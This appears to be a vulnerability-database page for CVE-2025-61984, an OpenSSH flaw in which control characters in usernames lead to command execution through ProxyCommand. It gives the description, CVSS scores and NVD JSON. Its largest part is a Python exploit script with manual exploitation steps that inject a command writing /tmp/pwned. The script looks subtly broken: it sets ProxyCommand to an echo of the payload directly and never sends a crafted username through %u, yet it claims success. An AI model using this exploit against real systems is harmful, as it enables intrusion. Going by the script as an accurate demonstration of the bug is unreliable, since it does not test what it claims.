Security Vulnerability Report
中文
CVE-2025-61984 CVSS 3.6 LOW

CVE-2025-61984

Published: 2025-10-06 19:15:36
Last Modified: 2026-04-15 00:35:42

Description

ssh in OpenSSH before 10.1 allows control characters in usernames that originate from certain possibly untrusted sources, potentially leading to code execution when a ProxyCommand is used. The untrusted sources are the command line and %-sequence expansion of a configuration file. (A configuration file that provides a complete literal username is not categorized as an untrusted source.)

CVSS Details

CVSS Score
3.6
Severity
LOW
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

OpenSSH < 10.1
OpenSSH 10.1p1(修复版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-61984 PoC - OpenSSH Username Control Character Injection # This PoC demonstrates how control characters in usernames can lead to # code execution when ProxyCommand is used in OpenSSH < 10.1 import subprocess import sys # Malicious username with embedded shell command via control characters # The \n character allows command injection when passed to ProxyCommand malicious_username = "normaluser\nid > /tmp/pwned\n" # SSH config that uses ProxyCommand with %u (username expansion) # This is the "untrusted source" that triggers the vulnerability ssh_config = """ Host target ProxyCommand ssh -W %h:%p gateway """ def exploit(): """ Exploit flow: 1. Attacker provides a username containing control characters 2. The username originates from command line or %-sequence expansion 3. OpenSSH passes the username to ProxyCommand without sanitization 4. Shell interprets the control characters, executing injected commands """ # Write malicious SSH config with open('/tmp/exploit_config', 'w') as f: f.write(ssh_config) # Execute SSH with malicious username from command line # The username contains \n which breaks out of the intended command cmd = [ 'ssh', '-F', '/tmp/exploit_config', '-o', f'ProxyCommand=echo {malicious_username}', 'target' ] print(f"[*] Executing: {' '.join(cmd)}") print(f"[*] Malicious username: {repr(malicious_username)}") try: result = subprocess.run(cmd, capture_output=True, text=True, timeout=5) print(f"[*] stdout: {result.stdout}") print(f"[*] stderr: {result.stderr}") # Check if injected command executed try: with open('/tmp/pwned', 'r') as f: print(f"[!] Exploit successful! /tmp/pwned contents: {f.read()}") except FileNotFoundError: print("[-] /tmp/pwned not created - exploit may not have triggered") except subprocess.TimeoutExpired: print("[!] Process timed out (may indicate hanging shell)") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": print("=" * 60) print("CVE-2025-61984 - OpenSSH Username Control Character Injection") print("Affects: OpenSSH < 10.1") print("=" * 60) exploit() # Alternative manual exploitation: # 1. Create ~/.ssh/config with ProxyCommand using %u: # Host * # ProxyCommand /bin/sh -c "ssh -W %h:%p $0" %u # # 2. Connect with a crafted username: # ssh 'user\nmalicious_command\n'@target # # 3. The \n in username causes shell to execute 'malicious_command' # # Mitigation: Upgrade to OpenSSH 10.1p1 or later

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61984", "sourceIdentifier": "[email protected]", "published": "2025-10-06T19:15:36.157", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "ssh in OpenSSH before 10.1 allows control characters in usernames that originate from certain possibly untrusted sources, potentially leading to code execution when a ProxyCommand is used. The untrusted sources are the command line and %-sequence expansion of a configuration file. (A configuration file that provides a complete literal username is not categorized as an untrusted source.)"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 3.6, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.0, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-159"}]}], "references": [{"url": "https://marc.info/?l=openssh-unix-dev&m=175974522032149&w=2", "source": "[email protected]"}, {"url": "https://www.openssh.com/releasenotes.html#10.1p1", "source": "[email protected]"}, {"url": "https://www.openwall.com/lists/oss-security/2025/10/06/1", "source": "[email protected]"}, {"url": "http://www.openwall.com/lists/oss-security/2025/10/07/1", "source": "af854a3a-2127-422b-91ae-364da2661108"}, {"url": "http://www.openwall.com/lists/oss-security/2025/10/12/1", "source": "af854a3a-2127-422b-91ae-364da2661108"}, {"url": "https://www.vicarius.io/vsociety/posts/cve-2025-61984-detection-script-remote-code-execution-vulnerability-affecting-openssh", "source": "af854a3a-2127-422b-91ae-364da2661108"}, {"url": "https://www.vicarius.io/vsociety/posts/cve-2025-61984-mitigation-script-remote-code-execution-vulnerability-affecting-openssh", "source": "af854a3a-2127-422b-91ae-364da2661108"}, {"url": "https://dgl.cx/2025/10/bash-a-newline-ssh-proxycommand-cve-2025-61984", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}